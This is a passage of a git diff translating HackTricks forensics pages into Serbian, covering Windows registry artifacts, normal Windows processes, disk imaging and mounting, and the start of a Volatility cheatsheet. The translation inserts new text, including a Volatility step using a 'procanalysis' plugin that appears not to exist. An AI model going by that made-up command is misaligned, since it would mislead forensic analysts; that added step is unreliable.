info, refer to **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**. -- First and last network connection times, including VPN connections, are logged under various paths in **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**. +### **Konfiguracija mreže** +- Za detaljne informacije o mrežnom interfejsu, pogledajte **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**. +- Prva i poslednja vremena povezivanja na mrežu, uključujući VPN veze, beleže se pod različitim putanjama u **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**. -### **Shared Folders** -- Shared folders and settings are under **`System\ControlSet001\Services\lanmanserver\Shares`**. The Client Side Caching (CSC) settings dictate offline file availability. +### **Deljene fascikle** +- Deljene fascikle i postavke nalaze se pod **`System\ControlSet001\Services\lanmanserver\Shares`**. Postavke klijentskog keširanja (CSC) određuju dostupnost datoteka van mreže. -### **Programs that Start Automatically** -- Paths like **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** and similar entries under `Software\Microsoft\Windows\CurrentVersion` detail programs set to run at startup. +### **Programi koji se automatski pokreću** +- Putanje poput **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** i slični unosi pod `Software\Microsoft\Windows\CurrentVersion` detaljno opisuju programe koji se pokreću prilikom pokretanja sistema. -### **Searches and Typed Paths** -- Explorer searches and typed paths are tracked in the registry under **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** for WordwheelQuery and TypedPaths, respectively. +### **Pretrage i uneti putovi** +- Pretrage i uneti putovi u Explorer-u se prate u registru pod **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** za WordwheelQuery i TypedPaths, redom. -### **Recent Documents and Office Files** -- Recent documents and Office files accessed are noted in `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` and specific Office version paths. +### **Nedavni dokumenti i Office datoteke** +- Nedavno korišćeni dokumenti i Office datoteke se beleže u `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` i specifičnim putanjama za verzije Office-a. -### **Most Recently Used (MRU) Items** -- MRU lists, indicating recent file paths and commands, are stored in various `ComDlg32` and `Explorer` subkeys under `NTUSER.DAT`. +### **Najskorije korišćene (MRU) stavke** +- Liste MRU, koje pokazuju nedavne putanje do datoteka i komande, čuvaju se u različitim podključevima `ComDlg32` i `Explorer` pod `NTUSER.DAT`. -### **User Activity Tracking** -- The User Assist feature logs detailed application usage stats, including run count and last run time, at **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**. +### **Pracenje korisničke aktivnosti** +- Funkcija User Assist beleži detaljne statistike o korišćenju aplikacija, uključujući broj pokretanja i vreme poslednjeg pokretanja, na lokaciji **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**. -### **Shellbags Analysis** -- Shellbags, revealing folder access details, are stored in `USRCLASS.DAT` and `NTUSER.DAT` under `Software\Microsoft\Windows\Shell`. Use **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** for analysis. - -### **USB Device History** -- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** and **`HKLM\SYSTEM\ControlSet001\Enum\USB`** contain rich details on connected USB devices, including manufacturer, product name, and connection timestamps. -- The user associated with a specific USB device can be pinpointed by searching `NTUSER.DAT` hives for the device's **{GUID}**. -- The last mounted device and its volume serial number can be traced through `System\MountedDevices` and `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, respectively. - -This guide condenses the crucial paths and methods for accessing detailed system, network, and user activity information on Windows systems, aiming for clarity and usability. - - - -
- -Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! - -Other ways to support HackTricks: - -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. - -
+### **Analiza Shellbags-a** +- Shellbags, koji otkrivaju detalje o pristupu fasciklama diff --git a/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md b/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md index b7d5d37fb..266baa9d9 100644 --- a/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md +++ b/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md @@ -1,16 +1,14 @@ - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite videti **oglašavanje vaše kompanije na HackTricks-u** ili **preuzeti HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
@@ -18,130 +16,122 @@ Other ways to support HackTricks: ## smss.exe **Session Manager**.\ -Session 0 starts **csrss.exe** and **wininit.exe** (**OS** **services**) while Session 1 starts **csrss.exe** and **winlogon.exe** (**User** **session**). However, you should see **only one process** of that **binary** without children in the processes tree. +Sesija 0 pokreće **csrss.exe** i **wininit.exe** (**OS** **servisi**), dok sesija 1 pokreće **csrss.exe** i **winlogon.exe** (**Korisnička** **sesija**). Međutim, trebali biste videti **samo jedan proces** te **izvršne datoteke** bez potomaka u stablu procesa. -Also, sessions apart from 0 and 1 may mean that RDP sessions are occurring. +Takođe, sesije osim 0 i 1 mogu značiti da se dešavaju RDP sesije. ## csrss.exe **Client/Server Run Subsystem Process**.\ -It manages **processes** and **threads**, makes the **Windows** **API** available for other processes and also **maps drive letters**, create **temp files**, and handles the **shutdown** **process**. +Upravlja **procesima** i **nitima**, čini **Windows** **API** dostupnim drugim procesima i takođe **mapira pogonska slova**, kreira **privremene datoteke** i upravlja **procesom za gašenje**. -There is one **running in Session 0 and another one in Session 1** (so **2 processes** in the processes tree). Another one is created **per new Session**. +Postoji jedan koji radi u sesiji 0 i još jedan u sesiji 1 (tako da ima **2 procesa** u stablu procesa). Još jedan se kreira **po novoj sesiji**. ## winlogon.exe **Windows Logon Process**.\ -It's responsible for user **logon**/**logoffs**. It launches **logonui.exe** to ask for username and password and then calls **lsass.exe** to verify them. +Odgovoran je za prijavu/odjavu korisnika. Pokreće **logonui.exe** da zatraži korisničko ime i lozinku, a zatim poziva **lsass.exe** da ih proveri. -Then it launches **userinit.exe** which is specified in **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`** with key **Userinit**. +Zatim pokreće **userinit.exe** koji je naveden u **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`** sa ključem **Userinit**. -Mover over, the previous registry should have **explorer.exe** in the **Shell key** or it might be abused as a **malware persistence method**. +Osim toga, prethodni registar treba da ima **explorer.exe** u **Shell ključu** ili se može zloupotrebiti kao **metoda za trajno prisustvo malvera**. ## wininit.exe **Windows Initialization Process**. \ -It launches **services.exe**, **lsass.exe**, and **lsm.exe** in Session 0. There should only be 1 process. +Pokreće **services.exe**, **lsass.exe** i **lsm.exe** u sesiji 0. Trebao bi postojati samo 1 proces. ## userinit.exe **Userinit Logon Application**.\ -Loads the **ntduser.dat in HKCU** and initialises the **user** **environment** and runs **logon** **scripts** and **GPO**. +Učitava **ntuser.dat u HKCU** i inicijalizuje **korisničko okruženje** i pokreće **logon skripte** i **GPO**. -It launches **explorer.exe**. +Pokreće **explorer.exe**. ## lsm.exe **Local Session Manager**.\ -It works with smss.exe to manipulate user sessions: Logon/logoff, shell start, lock/unlock desktop, etc. +Sarađuje sa smss.exe da manipuliše korisničkim sesijama: prijava/odjava, pokretanje ljuske, zaključavanje/otključavanje radne površine, itd. -After W7 lsm.exe was transformed into a service (lsm.dll). +Nakon W7, lsm.exe je pretvoren u servis (lsm.dll). -There should only be 1 process in W7 and from them a service running the DLL. +Treba postojati samo 1 proces u W7 i od njih jedan servis koji pokreće DLL. ## services.exe **Service Control Manager**.\ -It **loads** **services** configured as **auto-start** and **drivers**. +Učitava **servise** konfigurisane kao **auto-start** i **drajvere**. -It's the parent process of **svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** and many more. +To je nadređeni proces za **svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** i mnoge druge. -Services are defined in `HKLM\SYSTEM\CurrentControlSet\Services` and this process maintains a DB in memory of service info that can be queried by sc.exe. +Servisi su definisani u `HKLM\SYSTEM\CurrentControlSet\Services`, a ovaj proces održava bazu podataka u memoriji sa informacijama o servisu koju može pretraživati sc.exe. -Note how **some** **services** are going to be running in a **process of their own** and others are going to be **sharing a svchost.exe process**. +Primetite kako će **neki servisi** raditi u **svom sopstvenom procesu** a drugi će **deliti svchost.exe proces**. -There should only be 1 process. +Treba postojati samo 1 proces. ## lsass.exe **Local Security Authority Subsystem**.\ -It's responsible for the user **authentication** and create the **security** **tokens**. It uses authentication packages located in `HKLM\System\CurrentControlSet\Control\Lsa`. +Odgovoran je za autentifikaciju korisnika i kreiranje **bezbednosnih tokena**. Koristi autentifikacione pakete smeštene u `HKLM\System\CurrentControlSet\Control\Lsa`. -It writes to the **Security** **event** **log** and there should only be 1 process. +Upisuje u **bezbednosni događajni zapis** i trebao bi postojati samo 1 proces. -Keep in mind that this process is highly attacked to dump passwords. +Imajte na umu da je ovaj proces često napadan kako bi se izvukle lozinke. ## svchost.exe **Generic Service Host Process**.\ -It hosts multiple DLL services in one shared process. +Hostuje više DLL servisa u jednom deljenom procesu. -Usually, you will find that **svchost.exe** is launched with the `-k` flag. This will launch a query to the registry **HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** where there will be a key with the argument mentioned in -k that will contain the services to launch in the same process. +Obično ćete primetiti da se **svchost.exe** pokreće sa zastavicom `-k`. To će pokrenuti upit u registar **HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** gde će biti ključ sa argumentom navedenim u -k koji će sadržati servise za pokretanje u istom procesu. -For example: `-k UnistackSvcGroup` will launch: `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc` +Na primer: `-k UnistackSvcGroup` će pokrenuti: `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc` -If the **flag `-s`** is also used with an argument, then svchost is asked to **only launch the specified service** in this argument. +Ako se koristi i **zastavica `-s`** sa argumentom, tada se od svchost-a traži da **samo pokrene navedeni servis** u ovom argumentu. -There will be several processes of `svchost.exe`. If any of them is **not using the `-k` flag**, then that's very suspicious. If you find that **services.exe is not the parent**, that's also very suspicious. +Biće nekoliko procesa `svchost.exe`. Ako neki od njih **ne koristi zastavicu `-k`**, to je vrlo sumnjivo. Ako otkrijete da **services.exe nije roditelj**, to je takođe vrlo sumnjivo. ## taskhost.exe -This process act as a host for processes running from DLLs. It also loads the services that are running from DLLs. +Ovaj proces deluje kao domaćin za procese koji se pokreću iz DLL-ova. Takođe učitava servise koji se pokreću iz DLL-ova. -In W8 this is called taskhostex.exe and in W10 taskhostw.exe. +U W8 se naziva taskhostex.exe, a u W10 taskhostw.exe. ## explorer.exe -This is the process responsible for the **user's desktop** and launching files via file extensions. +Ovo je proces odgovoran za **korisnički radnu površinu** i pokretanje datoteka putem ekstenzija. -**Only 1** process should be spawned **per logged on user.** +Trebao bi biti pokrenut **samo 1** proces **po prijavljenom korisniku**. -This is run from **userinit.exe** which should be terminated, so **no parent** should appear for this process. +Pokreće se iz **userinit.exe** koji bi trebao biti završen, tako da za ovaj proces **ne bi trebalo da postoji roditelj**. -# Catching Malicious Processes +# Otkrivanje zlonamernih procesa -* Is it running from the expected path? (No Windows binaries run from temp location) -* Is it communicating with weird IPs? -* Check digital signatures (Microsoft artifacts should be signed) -* Is it spelled correctly? -* Is running under the expected SID? -* Is the parent process the expected one (if any)? -* Are the children processes the expecting ones? (no cmd.exe, wscript.exe, powershell.exe..?) +* Pokreće li se iz očekivane putanje? (Nijedna Windows izvršna datoteka ne radi sa privremene lokacije) +* Da li komunicira sa čudnim IP adresama? +* Proverite digitalne potpise (Microsoft artefakti trebaju biti potpisani) +* Da li je pravilno napisano? +* Da li se izvršava pod očekivanim SID-om? +* Da li je roditeljski proces očekivani (ako postoji)? +* Da li su dečiji procesi očekivani? (nema cmd.exe, wscript.exe, powershell.exe..?)
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! - -Other ways to support HackTricks: - -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. - -
+Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! +Drugi načini podrške HackTricks-u: +* Ako želite videti **oglašavanje vaše kompanije na HackTricks-u** ili **preuzeti HackTricks u PDF formatu** proverite [**SUBSCRIPTION diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md b/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md index ebacbbf4d..696bdd17f 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md @@ -1,46 +1,41 @@ -# Image Acquisition & Mount +# Akvizicija slike i montiranje
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Da li radite u **cybersecurity kompaniji**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
-## Acquisition +## Akvizicija ### DD - ```bash #This will generate a raw copy of the disk dd if=/dev/sdb of=disk.img ``` - ### dcfldd +dcfldd je napredni alat za kopiranje i konverziju slika. On pruža dodatne funkcionalnosti u odnosu na standardni dd alat, kao što su mogućnost prikaza napretka kopiranja, automatsko generisanje kontrolnih suma i mogućnost rada sa više izvora i odredišta istovremeno. Ovaj alat je veoma koristan prilikom akvizicije slika i kopiranja podataka sa oštećenih medija. ```bash #Raw copy with hashes along the way (more secur as it checks hashes while it's copying the data) dcfldd if= of= bs=512 hash= hashwindow= hashlog= dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes ``` - ### FTK Imager -You can [**download the FTK imager from here**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1). - +Možete [**preuzeti FTK imager odavde**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1). ```bash ftkimager /dev/sdb evidence --e01 --case-number 1 --evidence-number 1 --description 'A description' --examiner 'Your name' ``` - ### EWF -You can generate a disk image using the[ **ewf tools**](https://github.com/libyal/libewf). - +Možete generisati sliku diska koristeći [**ewf alate**](https://github.com/libyal/libewf). ```bash ewfacquire /dev/sdb #Name: evidence @@ -57,52 +52,56 @@ ewfacquire /dev/sdb #Then use default values #It will generate the disk image in the current directory ``` +## Montiranje -## Mount +### Nekoliko vrsta -### Several types - -In **Windows** you can try to use the free version of Arsenal Image Mounter ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) to **mount the forensics image**. - -### Raw +U **Windows**-u možete pokušati koristiti besplatnu verziju Arsenal Image Mounter-a ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) za **montiranje forenzičke slike**. +### Sirova ```bash #Get file type -file evidence.img +file evidence.img evidence.img: Linux rev 1.0 ext4 filesystem data, UUID=1031571c-f398-4bfb-a414-b82b280cf299 (extents) (64bit) (large files) (huge files) #Mount it mount evidence.img /mnt ``` - ### EWF +EWF (EnCase Evidence File) je popularan format za snimanje slika dokaza. Ovaj format omogućava snimanje slike diska sa svim sektorima, uključujući i neiskorišćene sektore. EWF format takođe podržava kompresiju slike kako bi se smanjila veličina fajla. + +Da biste izvršili akviziciju slike diska u EWF formatu, možete koristiti alate kao što su EnCase, FTK Imager ili ewfacquire. Ovi alati omogućavaju snimanje slike diska u EWF formatu sa svim relevantnim metapodacima. + +Kada je slika diska snimljena u EWF formatu, možete je montirati kao virtualni disk kako biste pristupili podacima. Za montiranje EWF slike možete koristiti alate kao što su Arsenal Image Mounter, OSFMount ili FTK Imager. + +Montiranje EWF slike omogućava vam pregledavanje i analizu podataka na disku bez potrebe za fizičkim pristupom originalnom disku. Ovo je korisno u forenzičkim istraživanjima, jer omogućava sigurno rukovanje dokazima i sprečava moguće oštećenje originalnog diska. + +Važno je napomenuti da prilikom akvizicije slike diska u EWF formatu treba biti pažljiv kako bi se osigurala integritet dokaza. Takođe, treba voditi računa o pravilnom rukovanju i čuvanju EWF slike kako bi se očuvala njena autentičnost i integritet. ```bash #Get file type -file evidence.E01 +file evidence.E01 evidence.E01: EWF/Expert Witness/EnCase image file format #Transform to raw mkdir output ewfmount evidence.E01 output/ -file output/ewf1 +file output/ewf1 output/ewf1: Linux rev 1.0 ext4 filesystem data, UUID=05acca66-d042-4ab2-9e9c-be813be09b24 (needs journal recovery) (extents) (64bit) (large files) (huge files) #Mount mount output/ewf1 -o ro,norecovery /mnt ``` - ### ArsenalImageMounter -It's a Windows Application to mount volumes. You can download it here [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/) +To je Windows aplikacija za montiranje volumena. Možete je preuzeti ovde [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/) -### Errors - -* **`cannot mount /dev/loop0 read-only`** in this case you need to use the flags **`-o ro,norecovery`** -* **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** in this case the mount failed due as the offset of the filesystem is different than that of the disk image. You need to find the Sector size and the Start sector: +### Greške +* **`cannot mount /dev/loop0 read-only`** u ovom slučaju trebate koristiti zastavice **`-o ro,norecovery`** +* **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** u ovom slučaju montiranje nije uspelo jer je offset fajl sistema različit od offseta slike diska. Morate pronaći veličinu sektora i početni sektor: ```bash -fdisk -l disk.img +fdisk -l disk.img Disk disk.img: 102 MiB, 106954648 bytes, 208896 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes @@ -113,21 +112,18 @@ Disk identifier: 0x00495395 Device Boot Start End Sectors Size Id Type disk.img1 2048 208895 206848 101M 1 FAT12 ``` - -Note that sector size is **512** and start is **2048**. Then mount the image like this: - +Imajte na umu da je veličina sektora **512**, a početak je **2048**. Zatim montirajte sliku na sledeći način: ```bash mount disk.img /mnt -o ro,offset=$((2048*512)) ``` -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Da li radite u **cybersecurity kompaniji**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md b/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md index 6b2f7bc97..a8da3b3f5 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md @@ -2,15 +2,15 @@
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
@@ -18,37 +18,139 @@ Other ways to support HackTricks:
-​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +​​[**RootedCON**](https://www.rootedcon.com/) je najrelevantniji kibernetički događaj u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je ključno mesto susreta tehnoloških i kibernetičkih profesionalaca u svakoj disciplini. {% embed url="https://www.rootedcon.com/" %} -If you want something **fast and crazy** that will launch several Volatility plugins on parallel you can use: [https://github.com/carlospolop/autoVolatility](https://github.com/carlospolop/autoVolatility) - +Ako želite nešto **brzo i ludo** što će pokrenuti nekoliko Volatility pluginova paralelno, možete koristiti: [https://github.com/carlospolop/autoVolatility](https://github.com/carlospolop/autoVolatility) ```bash python autoVolatility.py -f MEMFILE -d OUT_DIRECTORY -e /home/user/tools/volatility/vol.py # It will use the most important plugins (could use a lot of space depending on the size of the memory) ``` - -## Installation +## Instalacija ### volatility3 - ```bash git clone https://github.com/volatilityfoundation/volatility3.git cd volatility3 python3 setup.py install python3 vol.py —h ``` +#### Metodologija 1 -### volatility2 +1. **Identifikacija profila**: Pokrenite `volatility2` sa opcijom `imageinfo` kako biste identifikovali profil memorije. -{% tabs %} -{% tab title="Method1" %} +```plaintext +volatility2 -f dump.mem imageinfo +``` + +2. **Izdvajanje procesa**: Koristite opciju `pslist` da biste izdvojili sve procese iz memorije. + +```plaintext +volatility2 -f dump.mem --profile=profil pslist +``` + +3. **Analiza procesa**: Analizirajte izdvojene procese kako biste pronašli sumnjive aktivnosti ili tragove napada. + +```plaintext +volatility2 -f dump.mem --profile=profil procanalysis -p PID +``` + +4. **Analiza mreže**: Koristite opciju `netscan` da biste pronašli otvorene mrežne veze i aktivnosti. + +```plaintext +volatility2 -f dump.mem --profile=profil netscan +``` + +5. **Analiza registra**: Koristite opciju `hivelist` da biste pronašli registarske ključeve u memoriji. + +```plaintext +volatility2 -f dump.mem --profile=profil hivelist +``` + +6. **Analiza datoteka**: Koristite opciju `filescan` da biste pronašli otvorene datoteke u memoriji. + +```plaintext +volatility2 -f dump.mem --profile=profil filescan +``` + +7. **Analiza servisa**: Koristite opciju `svcscan` da biste pronašli pokrenute servise u memoriji. + +```plaintext +volatility2 -f dump.mem --profile=profil svcscan +``` + +8. **Analiza drajvera**: Koristite opciju `driverirp` da biste pronašli drajvere u memoriji. + +```plaintext +volatility2 -f dump.mem --profile=profil 